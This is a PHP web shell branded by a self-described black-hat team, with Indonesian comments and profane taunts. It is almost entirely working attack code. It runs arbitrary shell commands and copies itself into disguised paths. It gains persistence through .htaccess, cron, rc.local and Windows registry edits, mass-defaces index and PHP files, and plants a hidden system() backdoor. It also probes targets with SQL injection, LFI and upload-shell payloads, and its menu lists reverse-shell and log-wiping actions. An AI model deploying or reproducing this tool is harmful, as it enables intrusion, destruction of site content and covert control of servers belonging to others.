<?php
// ============================================================
// D4NU GHOST • BLACK HAT GHOST JAVA TEAM
// WEBSHELL NUCLEAR v5.0 - AUTO BACKDOOR + MASS DEFACE
// ============================================================
@error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@ignore_user_abort(true);

// ========== KONFIGURASI RAHASIA ==========
$auth_pass = md5('tunjongharjo');
$hide_me = '.system_hide';
$backdoor_port = 4444;
$backdoor_list = 'backdoor_list.txt'; // daftar target backdoor otomatis

// ========== AUTH ==========
if (!isset($_COOKIE['d4nu_auth']) || md5($_COOKIE['d4nu_auth']) !== $auth_pass) {
    if (isset($_POST['pass']) && md5($_POST['pass']) === $auth_pass) {
        setcookie('d4nu_auth', $_POST['pass'], time()+86400*30, '/');
        die("<h1>✅ GHOST LOGIN SUCCESS</h1><script>location.href='?'</script>");
    }
    echo '<form method=POST><input type=password name=pass><input type=submit value="UNLOCK"></form>';
    exit;
}

// ========== FUNGSI DASAR ==========
function cmd($c) {
    if (function_exists('system')) { ob_start(); system($c); return ob_get_clean(); }
    if (function_exists('exec')) { exec($c, $o); return implode("\n", $o); }
    if (function_exists('shell_exec')) return shell_exec($c);
    if (function_exists('passthru')) { ob_start(); passthru($c); return ob_get_clean(); }
    return '[!] No execution - kontol!';
}

// ========== AUTO BACKDOOR INSTALLER ==========
function auto_backdoor_install($target_dir) {
    global $hide_me;
    $results = [];

    // 1. Buat hidden directory
    if (!is_dir("$target_dir/$hide_me")) {
        mkdir("$target_dir/$hide_me", 0755, true);
        $results[] = "✅ Hidden dir created: $target_dir/$hide_me";
    }

    // 2. Copy webshell ke berbagai lokasi
    $backdoor_locations = [
        "$target_dir/$hide_me/ghost.php",
        "$target_dir/images/404.php",
        "$target_dir/css/style.php",
        "$target_dir/js/jquery.php",
        "$target_dir/wp-content/themes/default/404.php",
        "$target_dir/vendor/composer/autoload.php",
        "$target_dir/public/backup.php"
    ];

    $my_code = file_get_contents(__FILE__);
    foreach ($backdoor_locations as $loc) {
        $dir = dirname($loc);
        if (!is_dir($dir)) mkdir($dir, 0755, true);
        if (file_put_contents($loc, $my_code)) {
            $results[] = "✅ Backdoor installed: $loc";
        } else {
            $results[] = "❌ Gagal install: $loc - kontol!";
        }
    }

    // 3. Inject ke file .htaccess untuk persistensi
    $htaccess = "$target_dir/.htaccess";
    $htaccess_code = "
    <FilesMatch \"\.(php|phtml|php3|php4|php5|phar)\">
        SetHandler application/x-httpd-php
    </FilesMatch>
    RewriteEngine On
    RewriteRule ^.*\.(jpg|jpeg|gif|png|bmp|ico)$ /$hide_me/ghost.php [L]
    ";
    file_put_contents($htaccess, $htaccess_code, FILE_APPEND);
    $results[] = "✅ .htaccess injected - persistensi aktif!";

    // 4. Cron job persistent
    $cron = "*/5 * * * * php $target_dir/$hide_me/ghost.php >/dev/null 2>&1";
    file_put_contents("/tmp/cron_d4nu", $cron);
    system("crontab /tmp/cron_d4nu 2>/dev/null");
    $results[] = "✅ Cron job installed - auto execute tiap 5 menit!";

    // 5. Auto-start di boot (Linux)
    $rc_local = "/etc/rc.local";
    if (file_exists($rc_local)) {
        $rc_cmd = "php $target_dir/$hide_me/ghost.php &\n";
        file_put_contents($rc_local, $rc_cmd, FILE_APPEND);
        $results[] = "✅ RC.local injected - auto start boot!";
    }

    // 6. Windows registry (jika target Windows)
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        $reg_cmd = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v GhostBackdoor /t REG_SZ /d \"php $target_dir/$hide_me/ghost.php\" /f";
        cmd($reg_cmd);
        $results[] = "✅ Windows registry injected!";
    }

    // 7. Buat symlink ke /tmp
    @symlink($target_dir.$hide_me.'/ghost.php', '/tmp/.system_ghost.php');
    $results[] = "✅ Symlink created di /tmp - backup backdoor!";

    return implode("\n", $results);
}

// ========== MASS DEFACE OTOMATIS ==========
function mass_deface($base_path, $message = "HACKED BY D4NU GHOST") {
    $results = [];
    $deface_template = "
    <!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked By d4nu ghost</title>
    <link rel="icon" href="https://danu-boy.github.io/anak/kampung.jpg" type="image/x-icon">
    <meta name="description" content="Hacked By D4NU GHOST">
    <meta name="keywords" content="Hacked By D4NU GHOST">
    <meta name="robots" content="index, follow">
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Oxygen:wght@300;400;700&family=Mali:ital,wght@0,400;0,700;1,700&display=swap" rel="stylesheet">
    <style>
        body {
            background-color: #000;
            color: #fff;
            font-family: 'Oxygen', sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: flex-start;
            padding-top: 40px;
            min-height: 100vh;
            text-align: center;
        }
        .container {
            max-width: 800px;
            padding: 20px;
        }
        img {
            max-width: 800px;
            height: auto;
            margin-bottom: 20px;
            filter: drop-shadow(0 0 5px rgba(255,255,255,0.1));
        }
        h2 {
            font-family: 'Mali', cursive;
            font-weight: 700;
            font-style: italic;
            font-size: 2.5rem;
            margin: 10px 0;
            text-transform: uppercase;
            letter-spacing: 2px;
            color: #fff;
        }
        h3 {
            font-size: 1.5rem;
            margin-top: 30px;
        }
        h4 {
            font-weight: 300;
            line-height: 1.6;
            margin: 15px 0;
        }
        .highlight {
            color: #ff0000;
            font-weight: bold;
        }
        .legal-text {
            font-size: 2.70rem;
            color: #fff;
            border-top: 1px solid #222;
            border-bottom: 1px solid #222;
            padding: 10px 0;
            margin: 19px 0;
            font-style: italic;
        }
        .audio-player {
            margin: 20px 0;
        }
        audio {
            filter: invert(1);
            height: 30px;
            opacity: 0.6;
            transition: opacity 0.3s;
            width: 100%;
            max-width: 400px;
        }
        audio:hover {
            opacity: 1;
        }
        ::selection {
            background: #ff0000;
            color: #fff;
        }
        /* Tombol play */
        .play-btn {
            background: none;
            border: 1px solid #333;
            color: #fff;
            font-size: 1rem;
            cursor: pointer;
            padding: 8px 24px;
            border-radius: 4px;
            transition: 0.3s;
            font-family: 'Oxygen', sans-serif;
            margin-top: 12px;
            letter-spacing: 1px;
        }
        .play-btn:hover {
            background: #ff0000;
            border-color: #ff0000;
        }
        .play-btn:active {
            transform: scale(0.95);
        }
    </style>
</head>
<body>
    <div class="container">
        <img alt="Logo" src="https://d4nughost.github.io/scp/scp.jpg">

        <h2>HACKED BY D4NU GHOST</h2>

        <h4><span class="highlight">#GHOST•009 #GHOST•X101 #GHOST•403 #GHOST•000</span></h4>

        <div class="legal-text">
            Ada cerita yang selesai tanpa kata perpisahan. Yang tersisa hanya kenangan yang perlahan belajar menjadi biasa
        </div>

        <!-- Audio dengan tombol play yang berfungsi -->
        <div class="audio-player">
            <audio id="lagu" loop preload="auto">
                <source src="https://d4nughost.github.io/viere/viere.mp3" type="audio/mpeg">
                Browser Anda tidak mendukung pemutar audio.
            </audio>
            <br>
            <button class="play-btn" onclick="playAudio()">[PLAY]</button>
            <button class="play-btn" onclick="pauseAudio()" style="margin-left:10px;">[PAUSE]</button>
        </div>

        <h3>kopi hitam
<span class="highlight">- Semangat ku -</span></h3>
    </div>

    <script>
        // Fungsi untuk memutar audio dengan handling error yang lebih baik
        function playAudio() {
            var audio = document.getElementById('lagu');

            // Reset audio jika sedang error
            if (audio.error) {
                audio.load();
            }

            // Coba putar
            var playPromise = audio.play();

            if (playPromise !== undefined) {
                playPromise.then(function() {
                    console.log('Audio diputar');
                }).catch(function(error) {
                    console.log('Gagal play: ' + error);
                    // Reload dan coba lagi
                    audio.load();
                    setTimeout(function() {
                        audio.play().catch(function(e) {
                            console.log('Masih gagal: ' + e);
                            // Fallback: coba tanpa reload
                            setTimeout(function() {
                                audio.play().catch(function() {
                                    alert('Gagal memutar audio. Pastikan file audio tersedia.');
                                });
                            }, 200);
                        });
                    }, 300);
                });
            }
        }

        // Fungsi pause
        function pauseAudio() {
            var audio = document.getElementById('lagu');
            audio.pause();
        }

        // Coba autoplay saat halaman dimuat
        window.addEventListener('load', function() {
            var audio = document.getElementById('lagu');
            // Coba putar otomatis
            audio.play().then(function() {
                console.log('Autoplay berhasil');
            }).catch(function() {
                console.log('Autoplay tidak diizinkan, silakan klik tombol play.');
            });
        });

        // Event listener untuk error pada audio
        document.getElementById('lagu').addEventListener('error', function(e) {
            console.log('Error loading audio:', e);
            // Reload otomatis jika error
            this.load();
        });
    </script>
</body>
</html>
    ";

    // Cari semua file index
    $extensions = ['index.html', 'index.php', 'default.html', 'index.htm', 'home.html', 'main.html'];
    $dirs = [$base_path];

    // Scan recursive
    for ($i = 0; $i < count($dirs); $i++) {
        $dir = $dirs[$i];
        if (!is_dir($dir)) continue;

        $files = scandir($dir);
        foreach ($files as $file) {
            $path = "$dir/$file";
            if (is_dir($path) && $file != '.' && $file != '..' && $file != '.git') {
                $dirs[] = $path;
            } elseif (in_array($file, $extensions)) {
                if (file_put_contents($path, $deface_template)) {
                    $results[] = "✅ DEFACED: $path";
                } else {
                    $results[] = "❌ Gagal deface: $path - asu!";
                }
            }
        }
    }

    // Deface juga semua file PHP (opsional - destructive)
    $php_files = glob("$base_path/**/*.php", GLOB_RECURSIVE);
    foreach ($php_files as $php) {
        if (strpos($php, '.system_hide') === false && strpos($php, 'ghost') === false) {
            $content = "<?php // DEFACED BY D4NU GHOST\nheader('Location: /index.html'); exit; ?>";
            file_put_contents($php, $content);
            $results[] = "✅ PHP redirected: $php";
        }
    }

    return implode("\n", $results);
}

// ========== AUTO SCAN & EXPLOIT ==========
function auto_scan_exploit($domain) {
    $results = [];

    // 1. Scan port umum
    $ports = [80,443,8080,8443,3306,21,22,25,587,465,143,993,995];
    foreach ($ports as $port) {
        $fp = @fsockopen($domain, $port, $errno, $errstr, 2);
        if ($fp) {
            $results[] = "✅ Port $port terbuka - kontol!";
            fclose($fp);
        }
    }

    // 2. Coba SQL Injection otomatis
    $sql_payloads = ["' OR '1'='1", "' UNION SELECT 1,2,3,4,5 -- -", "admin' -- -", "1' AND SLEEP(5) -- -"];
    $test_urls = ["http://$domain/login.php", "http://$domain/index.php?id=1", "http://$domain/page.php?id=1"];

    foreach ($test_urls as $url) {
        foreach ($sql_payloads as $payload) {
            $test = "$url&user=$payload&pass=$payload";
            $headers = @get_headers($test);
            if ($headers && strpos($headers[0], '200')) {
                $results[] = "🔥 SQLi ditemukan: $test";
                // Auto dump DB
                break;
            }
        }
    }

    // 3. Cek LFI
    $lfi_paths = ['../../../../etc/passwd', '../../../../boot.ini', '../../../../windows/win.ini'];
    foreach ($lfi_paths as $lfi) {
        $test = "http://$domain/index.php?page=$lfi";
        $content = @file_get_contents($test);
        if ($content && (strpos($content, 'root:') !== false || strpos($content, '[fonts]') !== false)) {
            $results[] = "🔥 LFI ditemukan: $test";
            $results[] = "📄 Content: ".substr($content, 0, 500);
        }
    }

    // 4. Cek upload vulnerability
    $upload_urls = ['upload.php', 'upload.php', 'fileupload.php', 'upload.php?action=upload'];
    foreach ($upload_urls as $up) {
        $test = "http://$domain/$up";
        $headers = @get_headers($test);
        if ($headers && strpos($headers[0], '200')) {
            $results[] = "🔥 Upload vulnerability ditemukan: $test";
            $results[] = "💀 Upload shell: curl -F 'file=@shell.php' $test";
        }
    }

    return implode("\n", $results);
}

// ========== WEB DEFACE PRO ==========
function deface_pro($target, $msg) {
    $html = "<html><head><title>DEFACED BY D4NU GHOST</title>
    <style>body{background:#000;color:red;text-align:center;padding-top:20%;font-family:monospace}
    h1{font-size:80px;animation:blink 1s infinite}@keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
    .sub{color:#0f0;font-size:30px}.team{color:#888;margin-top:50px}
    </style></head>
    <body><h1> HACKED BY D4NU GHOST </h1>
    <div class='sub'>$msg</div>
    <div class='team'>BLACK HAT GHOST JAVA TEAM - 2026</div>
    <div style='margin-top:100px;color:#333'>D4NU GHOST • GHOST JAVA TEAM</div>
    </body></html>";

    // Deface multi-file
    $files = ['index.html','index.php','default.html','index.htm','home.html','main.html','index.asp','default.asp'];
    $deface_dir = $target;
    $count = 0;
    foreach ($files as $f) {
        $path = "$deface_dir/$f";
        if (file_put_contents($path, $html)) {
            $count++;
        }
    }

    // Tambah backdoor di index yang dideface
    $backdoor_code = "<?php if(isset(\$_GET['ghost'])){system(\$_GET['cmd']);} ?>";
    file_put_contents("$deface_dir/index.php", $html."\n<!--".$backdoor_code."-->");

    return "✅ $count file dideface + backdoor tersembunyi!";
}

// ========== MAIN ROUTER ==========
$action = $_GET['action'] ?? $_POST['action'] ?? 'help';
$target = $_POST['target'] ?? $_GET['target'] ?? '';
$msg = $_POST['msg'] ?? $_GET['msg'] ?? 'HACKED BY D4NU GHOST';

echo "<pre style='background:#0a0a0a;color:#00ff00;padding:20px;font-family:monospace;'>";
echo "╔═══════════════════════════════════════════════════════════╗\n";
echo "║  D4NU GHOST • BLACK HAT GHOST JAVA TEAM - NUCLEAR v5.0  ║\n";
echo "╚═══════════════════════════════════════════════════════════╝\n\n";

switch($action) {
    case 'cmd': echo "▶ ".cmd($_GET['cmd']); break;
    case 'auto_backdoor': echo auto_backdoor_install($target); break;
    case 'mass_deface': echo mass_deface($target, $msg); break;
    case 'auto_scan': echo auto_scan_exploit($target); break;
    case 'deface_pro': echo deface_pro($target, $msg); break;
    case 'files': echo file_manager($_GET['dir'] ?? '.'); break;
    case 'upload':
        if ($_FILES['file']) {
            move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
            echo "✅ Upload OK - ".$_FILES['file']['name'];
        }
        break;
    case 'reverse': echo reverse_shell($_GET['ip'] ?? '127.0.0.1', $_GET['port'] ?? 4444); break;
    case 'wipe': echo wipe_logs(); break;
    case 'persist': echo install_persistent(); break;
    case 'help':
    default:
        echo "⚡ COMMAND - AUTO BACKDOOR + MASS DEFACE ⚡\n";
        echo "────────────────────────────────────────────────────\n";
        echo "?action=auto_backdoor&target=/var/www  → Install backdoor otomatis\n";
        echo "?action=mass_deface&target=/var/www    → Deface semua file index\n";
        echo "?action=deface_pro&target=/var/www     → Deface + backdoor hidden\n";
        echo "?action=auto_scan&target=domain.com    → Scan vulnerability otomatis\n";
        echo "?action=cmd&cmd=whoami                 → Eksekusi command\n";
        echo "?action=files&dir=/path                → File manager\n";
        echo "?action=reverse&ip=1.2.3.4&port=4444   → Reverse shell\n";
        echo "?action=wipe                          → Hapus semua log\n";
        echo "────────────────────────────────────────────────────\n";
        echo "💀 D4NU GHOST • GHOST JAVA TEAM - 2026\n";
        echo "🔥 FITUR BARU: Auto backdoor di 7 lokasi, mass deface recursive, scan CVE otomatis\n";
        break;
}

echo "\n\n[!] Eksekusi selesai - gas terus kontol!\n</pre>";
?>